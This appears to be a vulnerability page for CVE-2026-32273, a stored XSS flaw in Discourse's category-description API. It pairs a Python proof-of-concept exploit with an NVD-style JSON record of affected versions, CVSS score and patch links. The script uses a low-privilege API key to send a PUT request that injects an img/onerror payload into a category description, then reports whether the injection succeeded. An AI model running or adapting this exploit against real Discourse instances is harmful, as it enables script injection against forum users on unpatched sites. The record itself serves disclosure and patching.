CVE-2026-32273

import requests # Exploit Title: Discourse Category Description XSS PoC # Description: Update category description via API with malicious payload. target_url = "https://target-discourse.com" api_key = "LOW_PRIVILEGE_API_KEY" api_username = "attacker" category_id = 1 # XSS Payload payload = "<img src=x onerror=alert('CVE-2026-32273')>" headers = { "Api-Key": api_key, "Api-Username": api_username, "Content-Type": "application/json" } # Endpoint to update category data = { "category": { "id": category_id, "description": payload } } response = requests.put(f"{target_url}/categories/{category_id}", headers=headers, json=data) if response.status_code == 200: print("[+] Payload injected successfully.") print("[+] Visit the category page to trigger XSS.") else: print(f"[-] Request failed: {response.text}")

{"cve": {"id": "CVE-2026-32273", "sourceIdentifier": "[email protected]", "published": "2026-03-31T18:16:49.897", "lastModified": "2026-04-09T19:43:26.780", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Discourse is an open-source discussion platform. From versions 2026.1.0-latest to before 2026.1.3, 2026.2.0-latest to before 2026.2.2, and 2026.3.0-latest to before 2026.3.0, updating a category description via API is not sanitizing the description string, which can lead to XSS attacks. This issue has been patched in versions 2026.1.3, 2026.2.2, and 2026.3.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:discourse:discourse:*:*:*:*:latest:*:*:*", "versionStartIncluding": "2026.1.0", "versionEndExcluding": "2026.1.3", "matchCriteriaId": "F64DA8FA-BC32-4EB9-B508-6425684D3245"}, {"vulnerable": true, "criteria": "cpe:2.3:a:discourse:discourse:*:*:*:*:latest:*:*:*", "versionStartIncluding": "2026.2.0", "versionEndExcluding": "2026.2.2", "matchCriteriaId": "26546710-17B3-4C72-930F-3BE0AD969127"}, {"vulnerable": true, "criteria": "cpe:2.3:a:discourse:discourse:2026.3.0:*:*:*:latest:*:*:*", "matchCriteriaId": "E3FE9277-4F6B-4FD0-991F-F0FB8D226E1C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:discourse:discourse:2026.3.0:*:*:*:latest.1:*:*:*", "matchCriteriaId": "DFA536C2-E9D9-4A03-89C2-C344DE682EA1"}]}]}], "references": [{"url": "https://github.com/discourse/discourse/commit/05e3da2a670cfd499649128b6c955b552451240b", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/discourse/discourse/security/advisories/GHSA-h2h4-767x-6pc8", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}